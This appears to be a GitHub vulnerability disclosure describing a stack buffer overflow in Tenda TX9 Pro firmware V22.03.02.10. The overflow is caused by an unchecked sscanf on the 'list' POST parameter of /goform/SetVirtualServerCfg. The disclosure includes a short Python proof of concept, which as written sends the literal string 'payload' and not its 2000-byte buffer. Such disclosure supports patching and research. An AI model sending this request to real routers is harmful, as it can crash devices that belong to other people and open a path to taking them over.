Skip to content

Latest commit

 

History

History
34 lines (22 loc) · 1.25 KB

formSetVirtualSer.md

File metadata and controls

34 lines (22 loc) · 1.25 KB

Overview

Affected version

TX9 Pro Firmware V22.03.02.10

Vulnerability details

The Tenda TX9 Pro Firmware V22.03.02.10 firmware has a stack overflow vulnerability in the sub_42CB94 function. The v3 variable receives the list parameter from a POST request. However, since the user can control the input of list, the statement if ( sscanf(v3, "%[^,],%[^,],%[^,],%s", v12, v11, v10, v9) == 4 ) can cause a buffer overflow. The user-provided list can exceed the capacity of the v9~v12 array, triggering this security vulnerability.

image-20240416113633159

image-20240416113621650

POC

import requests
from pwn import*

ip = "192.168.84.101"
url = "http://" + ip + "/goform/SetVirtualServerCfg"
payload = b"a"*2000

data = {
        'list':'payload',
    }
response = requests.post(url, data=data)
print(response.text)

image-20240416113543395